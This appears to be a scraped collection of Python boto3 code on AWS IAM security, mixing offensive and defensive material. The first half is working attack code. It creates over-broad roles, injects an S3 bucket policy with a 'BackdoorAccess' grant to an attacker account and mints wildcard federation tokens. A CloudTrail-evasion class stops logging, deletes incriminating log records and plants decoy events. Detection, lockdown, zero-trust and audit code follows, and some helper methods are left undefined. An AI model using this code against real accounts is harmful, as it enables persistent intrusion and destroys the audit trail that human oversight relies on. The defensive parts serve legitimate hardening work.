AWS IAM Security Assessment and Exploitation¶

def exploit_policy_confusion(iam_client):
    """Exploit policy evaluation order and condition confusion"""

    # Create role with confused policy evaluation
    trust_policy = {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Principal": {"Service": "lambda.amazonaws.com"},
                "Action": "sts:AssumeRole"
            }
        ]
    }

    # Policy with intentional confusion
    escalation_policy = {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Deny",
                "Action": ["iam:CreateRole", "iam:AttachRolePolicy"],
                "Resource": "*",
                "Condition": {
                    "StringNotEquals": {
                        "aws:userid": "non-existent-user"
                    }
                }
            },
            {
                "Effect": "Allow",
                "Action": "iam:*",
                "Resource": "*"
            }
        ]
    }

    try:
        # Create escalation role
        iam_client.create_role(
            RoleName='ConfusedPolicyRole',
            AssumeRolePolicyDocument=json.dumps(trust_policy)
        )

        # Attach confused policy
        iam_client.put_role_policy(
            RoleName='ConfusedPolicyRole',
            PolicyName='EscalationPolicy',
            PolicyDocument=json.dumps(escalation_policy)
        )

        print("Policy confusion role created successfully")

    except Exception as e:
        print(f"Exploitation failed: {e}")

class S3PolicyExploitation:
    def __init__(self, session):
        self.s3 = session.client('s3')

    def discover_writable_buckets(self):
        """Find buckets with overpermissive policies"""
        buckets = self.s3.list_buckets()['Buckets']
        vulnerable_buckets = []

        for bucket in buckets:
            try:
                policy = self.s3.get_bucket_policy(Bucket=bucket['Name'])
                policy_doc = json.loads(policy['Policy'])

                # Check for dangerous principals
                for statement in policy_doc['Statement']:
                    if statement.get('Effect') == 'Allow':
                        principal = statement.get('Principal', {})
                        if principal == '*' or 'arn:aws:iam::*' in str(principal):
                            vulnerable_buckets.append({
                                'bucket': bucket['Name'],
                                'policy': policy_doc
                            })

            except Exception:
                continue

        return vulnerable_buckets

    def inject_malicious_policy(self, bucket_name):
        """Inject policy to maintain access"""
        malicious_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "LegitimateAccess",
                    "Effect": "Allow",
                    "Principal": {"AWS": "arn:aws:iam::ACCOUNT:root"},
                    "Action": "s3:*",
                    "Resource": [
                        f"arn:aws:s3:::{bucket_name}",
                        f"arn:aws:s3:::{bucket_name}/*"
                    ]
                },
                {
                    "Sid": "BackdoorAccess",
                    "Effect": "Allow",
                    "Principal": {"AWS": "arn:aws:iam::ATTACKER-ACCOUNT:root"},
                    "Action": ["s3:GetObject", "s3:PutObject"],
                    "Resource": f"arn:aws:s3:::{bucket_name}/*",
                    "Condition": {
                        "StringLike": {
                            "s3:prefix": "logs/*"
                        }
                    }
                }
            ]
        }

        try:
            self.s3.put_bucket_policy(
                Bucket=bucket_name,
                Policy=json.dumps(malicious_policy)
            )
            print(f"Backdoor policy injected into {bucket_name}")
        except Exception as e:
            print(f"Policy injection failed: {e}")

import boto3
import json
from datetime import datetime, timedelta

class STSTokenExploitation:
    def __init__(self):
        self.sts = boto3.client('sts')

    def extract_long_lived_tokens(self, role_arn, external_id=None):
        """Extract long-lived session tokens"""
        assume_role_args = {
            'RoleArn': role_arn,
            'RoleSessionName': 'legitimate-session-name',
            'DurationSeconds': 43200  # 12 hours max
        }

        if external_id:
            assume_role_args['ExternalId'] = external_id

        try:
            response = self.sts.assume_role(**assume_role_args)
            credentials = response['Credentials']

            # Extract token components for analysis
            token_analysis = {
                'access_key': credentials['AccessKeyId'],
                'secret_key': credentials['SecretAccessKey'],
                'session_token': credentials['SessionToken'],
                'expiration': credentials['Expiration'],
                'role_arn': role_arn
            }

            return token_analysis

        except Exception as e:
            print(f"Token extraction failed: {e}")
            return None

    def forge_session_context(self, original_token):
        """Attempt to forge or extend session context"""
        # Decode session token (base64 encoded JSON)
        import base64

        try:
            # Session tokens contain encoded context
            token_parts = original_token.split('.')
            for part in token_parts:
                try:
                    decoded = base64.b64decode(part + '==').decode('utf-8')
                    context = json.loads(decoded)
                    print(f"Token context: {context}")
                except:
                    continue

        except Exception as e:
            print(f"Token analysis failed: {e}")

    def abuse_federation_tokens(self, federated_user_name):
        """Abuse federation tokens for persistence"""
        try:
            # Get federation token with extended duration
            response = self.sts.get_federation_token(
                Name=federated_user_name,
                Policy=json.dumps({
                    "Version": "2012-10-17",
                    "Statement": [
                        {
                            "Effect": "Allow",
                            "Action": "*",
                            "Resource": "*"
                        }
                    ]
                }),
                DurationSeconds=129600  # 36 hours
            )

            return response['Credentials']

        except Exception as e:
            print(f"Federation token abuse failed: {e}")

class CloudTrailEvasion:
    def __init__(self, session):
        self.cloudtrail = session.client('cloudtrail')
        self.s3 = session.client('s3')

    def disable_logging_temporarily(self, trail_name):
        """Temporarily disable CloudTrail logging"""
        try:
            # Stop logging
            self.cloudtrail.stop_logging(Name=trail_name)
            print(f"Logging stopped for trail: {trail_name}")

            # Wait for malicious activities
            import time
            time.sleep(300)  # 5 minutes of unlogged activity

            # Re-enable logging to avoid suspicion
            self.cloudtrail.start_logging(Name=trail_name)
            print(f"Logging resumed for trail: {trail_name}")

        except Exception as e:
            print(f"Trail manipulation failed: {e}")

    def manipulate_log_files(self, trail_bucket, log_prefix):
        """Manipulate CloudTrail log files directly"""
        try:
            # List existing log files
            response = self.s3.list_objects_v2(
                Bucket=trail_bucket,
                Prefix=log_prefix
            )

            for obj in response.get('Contents', []):
                log_key = obj['Key']

                # Download log file
                log_obj = self.s3.get_object(Bucket=trail_bucket, Key=log_key)
                log_content = json.loads(log_obj['Body'].read())

                # Remove incriminating events
                filtered_records = []
                for record in log_content['Records']:
                    # Skip events that could reveal malicious activity
                    if not self.is_incriminating_event(record):
                        filtered_records.append(record)

                # Upload modified log file
                log_content['Records'] = filtered_records
                self.s3.put_object(
                    Bucket=trail_bucket,
                    Key=log_key,
                    Body=json.dumps(log_content)
                )

                print(f"Modified log file: {log_key}")

        except Exception as e:
            print(f"Log manipulation failed: {e}")

    def is_incriminating_event(self, record):
        """Identify events that should be removed from logs"""
        incriminating_events = [
            'CreateRole',
            'AttachRolePolicy',
            'AssumeRole',
            'GetSessionToken',
            'CreateAccessKey',
            'StopLogging',
            'DeleteTrail'
        ]

        return record.get('eventName') in incriminating_events

    def create_decoy_events(self, trail_bucket, log_prefix):
        """Create legitimate-looking decoy events"""
        decoy_events = [
            {
                "eventTime": datetime.utcnow().isoformat() + "Z",
                "eventName": "DescribeInstances",
                "eventSource": "ec2.amazonaws.com",
                "userIdentity": {
                    "type": "IAMUser",
                    "principalId": "AIDACKCEVSQ6C2EXAMPLE",
                    "arn": "arn:aws:iam::123456789012:user/admin",
                    "accountId": "123456789012",
                    "userName": "admin"
                },
                "sourceIPAddress": "192.0.2.0",
                "userAgent": "aws-cli/2.0.0"
            }
        ]

        # Insert decoy events into log files
        # Implementation details...

def implement_supply_chain_controls():
    """Implement controls based on recent incidents"""
    controls = {
        'credential_management': [
            'Use short-lived tokens (max 1 hour)',
            'Implement credential rotation',
            'Use IAM roles instead of access keys',
            'Enable MFA for all privileged operations'
        ],
        'cross_account_security': [
            'Use external IDs for all cross-account roles',
            'Implement condition-based access controls',
            'Regular audit of cross-account trusts',
            'Monitor cross-account API calls'
        ],
        'monitoring': [
            'Enable CloudTrail in all regions',
            'Monitor IAM policy changes',
            'Alert on unusual cross-account activity',
            'Implement behavioral analysis'
        ]
    }
    return controls

import boto3
from datetime import datetime, timedelta

class IAMThreatDetection:
    def __init__(self):
        self.cloudtrail = boto3.client('cloudtrail')
        self.iam = boto3.client('iam')

    def detect_privilege_escalation(self, lookback_hours=24):
        """Detect potential privilege escalation attempts"""
        end_time = datetime.utcnow()
        start_time = end_time - timedelta(hours=lookback_hours)

        # Query CloudTrail for suspicious IAM activities
        events = self.cloudtrail.lookup_events(
            LookupAttributes=[
                {
                    'AttributeKey': 'EventSource',
                    'AttributeValue': 'iam.amazonaws.com'
                }
            ],
            StartTime=start_time,
            EndTime=end_time
        )

        escalation_indicators = []

        for event in events['Events']:
            event_detail = json.loads(event['CloudTrailEvent'])

            # Check for escalation patterns
            if self.is_escalation_attempt(event_detail):
                escalation_indicators.append({
                    'event_time': event['EventTime'],
                    'event_name': event['EventName'],
                    'user_identity': event_detail.get('userIdentity', {}),
                    'source_ip': event_detail.get('sourceIPAddress'),
                    'risk_score': self.calculate_risk_score(event_detail)
                })

        return escalation_indicators

    def is_escalation_attempt(self, event_detail):
        """Identify privilege escalation patterns"""
        escalation_patterns = [
            # Role/policy creation followed by assumption
            'rapid_role_creation_and_assumption',
            # Policy modification with broad permissions
            'policy_broadening',
            # Cross-account role abuse
            'cross_account_escalation',
            # Service-linked role abuse
            'service_role_abuse'
        ]

        # Implementation of pattern detection logic
        event_name = event_detail.get('eventName')
        user_identity = event_detail.get('userIdentity', {})

        # Check for suspicious patterns
        if event_name in ['CreateRole', 'AttachRolePolicy', 'PutRolePolicy']:
            # Analyze policy content for broad permissions
            return self.analyze_policy_escalation(event_detail)

        return False

    def calculate_risk_score(self, event_detail):
        """Calculate risk score for IAM events"""
        risk_score = 0

        # Factors that increase risk score
        risk_factors = {
            'admin_policy_attachment': 50,
            'cross_account_assumption': 30,
            'unusual_source_ip': 20,
            'off_hours_activity': 15,
            'new_user_creation': 25,
            'policy_wildcard_usage': 40
        }

        # Analyze event for risk factors
        for factor, score in risk_factors.items():
            if self.check_risk_factor(event_detail, factor):
                risk_score += score

        return min(risk_score, 100)  # Cap at 100

class IAMIncidentResponse:
    def __init__(self):
        self.iam = boto3.client('iam')
        self.sts = boto3.client('sts')

    def emergency_lockdown(self, compromised_user_arn):
        """Emergency lockdown of compromised IAM user"""
        try:
            # Extract user name from ARN
            user_name = compromised_user_arn.split('/')[-1]

            # Disable user access keys
            access_keys = self.iam.list_access_keys(UserName=user_name)
            for key in access_keys['AccessKeyMetadata']:
                self.iam.update_access_key(
                    UserName=user_name,
                    AccessKeyId=key['AccessKeyId'],
                    Status='Inactive'
                )
                print(f"Disabled access key: {key['AccessKeyId']}")

            # Attach emergency deny policy
            emergency_policy = {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Deny",
                        "Action": "*",
                        "Resource": "*"
                    }
                ]
            }

            self.iam.put_user_policy(
                UserName=user_name,
                PolicyName='EmergencyDenyAll',
                PolicyDocument=json.dumps(emergency_policy)
            )

            print(f"Emergency lockdown completed for user: {user_name}")

        except Exception as e:
            print(f"Emergency lockdown failed: {e}")

    def revoke_active_sessions(self, role_arn):
        """Revoke all active sessions for a role"""
        try:
            role_name = role_arn.split('/')[-1]

            # Update role policy to deny existing sessions
            session_revoke_policy = {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Deny",
                        "Action": "*",
                        "Resource": "*",
                        "Condition": {
                            "DateLessThan": {
                                "aws:TokenIssueTime": datetime.utcnow().isoformat() + "Z"
                            }
                        }
                    }
                ]
            }

            self.iam.put_role_policy(
                RoleName=role_name,
                PolicyName='RevokeOldSessions',
                PolicyDocument=json.dumps(session_revoke_policy)
            )

            print(f"Active sessions revoked for role: {role_name}")

        except Exception as e:
            print(f"Session revocation failed: {e}")

class ZeroTrustIAM:
    def __init__(self):
        self.iam = boto3.client('iam')

    def implement_zero_trust_policies(self):
        """Implement zero trust IAM policies"""

        # 1. Least privilege policy template
        least_privilege_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:GetObject"
                    ],
                    "Resource": "arn:aws:s3:::specific-bucket/specific-prefix/*",
                    "Condition": {
                        "StringEquals": {
                            "aws:RequestedRegion": "us-east-1"
                        },
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "true"
                        },
                        "DateGreaterThan": {
                            "aws:MultiFactorAuthAge": "3600"
                        }
                    }
                }
            ]
        }

        # 2. Conditional access based on risk factors
        conditional_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Deny",
                    "Action": "*",
                    "Resource": "*",
                    "Condition": {
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "false"
                        }
                    }
                },
                {
                    "Effect": "Deny",
                    "Action": "*",
                    "Resource": "*",
                    "Condition": {
                        "IpAddressNotEquals": {
                            "aws:SourceIp": ["203.0.113.0/24", "198.51.100.0/24"]
                        }
                    }
                }
            ]
        }

        return {
            'least_privilege': least_privilege_policy,
            'conditional_access': conditional_policy
        }

    def create_break_glass_procedure(self):
        """Create emergency break glass access procedure"""
        break_glass_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*",
                    "Condition": {
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "true"
                        },
                        "StringEquals": {
                            "aws:RequestTag/BreakGlass": "true"
                        }
                    }
                }
            ]
        }

        # Break glass role with limited duration
        break_glass_trust_policy = {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::ACCOUNT:user/emergency-admin"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "Bool": {
                            "aws:MultiFactorAuthPresent": "true"
                        },
                        "NumericLessThan": {
                            "aws:MultiFactorAuthAge": "900"  # 15 minutes
                        }
                    }
                }
            ]
        }

        return {
            'policy': break_glass_policy,
            'trust_policy': break_glass_trust_policy
        }

def implement_soc2_iam_controls():
    """Implement SOC 2 compliant IAM controls"""

    controls = {
        'CC6.1': {
            'description': 'Logical and physical access controls',
            'implementation': [
                'Multi-factor authentication for all users',
                'Regular access reviews and certifications',
                'Separation of duties in IAM administration',
                'Monitoring and logging of all access attempts'
            ]
        },
        'CC6.2': {
            'description': 'Authentication and authorization',
            'implementation': [
                'Strong password policies',
                'Regular credential rotation',
                'Principle of least privilege',
                'Role-based access control (RBAC)'
            ]
        },
        'CC6.3': {
            'description': 'System access management',
            'implementation': [
                'Automated user provisioning and deprovisioning',
                'Regular access rights reviews',
                'Segregation of development and production access',
                'Monitoring of privileged account usage'
            ]
        }
    }

    return controls

#!/usr/bin/env python3
"""
AWS IAM Security Analysis Tool
"""

import boto3
import json
from datetime import datetime, timedelta

class IAMSecurityAnalyzer:
    def __init__(self, profile_name=None):
        self.session = boto3.Session(profile_name=profile_name)
        self.iam = self.session.client('iam')

    def comprehensive_iam_audit(self):
        """Perform comprehensive IAM security audit"""
        audit_results = {
            'overprivileged_entities': self.find_overprivileged_entities(),
            'unused_credentials': self.find_unused_credentials(),
            'weak_policies': self.analyze_policy_weaknesses(),
            'cross_account_risks': self.analyze_cross_account_risks(),
            'compliance_gaps': self.check_compliance_gaps()
        }

        return audit_results

    def find_overprivileged_entities(self):
        """Find users and roles with excessive permissions"""
        overprivileged = []

        # Check users
        users = self.iam.list_users()['Users']
        for user in users:
            permissions = self.analyze_entity_permissions('user', user['UserName'])
            if permissions['risk_score'] > 70:
                overprivileged.append({
                    'type': 'user',
                    'name': user['UserName'],
                    'risk_score': permissions['risk_score'],
                    'issues': permissions['issues']
                })

        # Check roles
        roles = self.iam.list_roles()['Roles']
        for role in roles:
            permissions = self.analyze_entity_permissions('role', role['RoleName'])
            if permissions['risk_score'] > 70:
                overprivileged.append({
                    'type': 'role',
                    'name': role['RoleName'],
                    'risk_score': permissions['risk_score'],
                    'issues': permissions['issues']
                })

        return overprivileged

    def analyze_entity_permissions(self, entity_type, entity_name):
        """Analyze permissions for a specific IAM entity"""
        risk_score = 0
        issues = []

        # Get attached policies
        if entity_type == 'user':
            attached_policies = self.iam.list_attached_user_policies(UserName=entity_name)
            inline_policies = self.iam.list_user_policies(UserName=entity_name)
        else:  # role
            attached_policies = self.iam.list_attached_role_policies(RoleName=entity_name)
            inline_policies = self.iam.list_role_policies(RoleName=entity_name)

        # Analyze each policy
        for policy in attached_policies['AttachedPolicies']:
            policy_risk = self.analyze_policy_risk(policy['PolicyArn'])
            risk_score += policy_risk['score']
            issues.extend(policy_risk['issues'])

        return {
            'risk_score': min(risk_score, 100),
            'issues': issues
        }

    def analyze_policy_risk(self, policy_arn):
        """Analyze individual policy for security risks"""
        risk_score = 0
        issues = []

        try:
            policy = self.iam.get_policy(PolicyArn=policy_arn)
            policy_version = self.iam.get_policy_version(
                PolicyArn=policy_arn,
                VersionId=policy['Policy']['DefaultVersionId']
            )

            policy_doc = policy_version['PolicyVersion']['Document']

            # Check for wildcard permissions
            for statement in policy_doc.get('Statement', []):
                if statement.get('Effect') == 'Allow':
                    actions = statement.get('Action', [])
                    if isinstance(actions, str):
                        actions = [actions]

                    for action in actions:
                        if '*' in action:
                            risk_score += 30
                            issues.append(f"Wildcard permission: {action}")

                    # Check for dangerous actions
                    dangerous_actions = [
                        'iam:*', 'sts:AssumeRole', '*:*',
                        'iam:CreateRole', 'iam:AttachRolePolicy'
                    ]

                    for action in actions:
                        if action in dangerous_actions:
                            risk_score += 25
                            issues.append(f"Dangerous action: {action}")

        except Exception as e:
            issues.append(f"Policy analysis error: {e}")

        return {
            'score': risk_score,
            'issues': issues
        }

    def generate_security_report(self, audit_results):
        """Generate comprehensive security report"""
        report = f"""
# AWS IAM Security Audit Report
Generated: {datetime.now().isoformat()}

## Executive Summary
- Overprivileged entities found: {len(audit_results['overprivileged_entities'])}
- Unused credentials: {len(audit_results['unused_credentials'])}
- Policy weaknesses: {len(audit_results['weak_policies'])}
- Cross-account risks: {len(audit_results['cross_account_risks'])}

## Detailed Findings
"""

        # Add detailed sections for each finding category
        for category, findings in audit_results.items():
            report += f"\n### {category.replace('_', ' ').title()}\n"
            for finding in findings[:5]:  # Show top 5 findings
                report += f"- {finding}\n"

        return report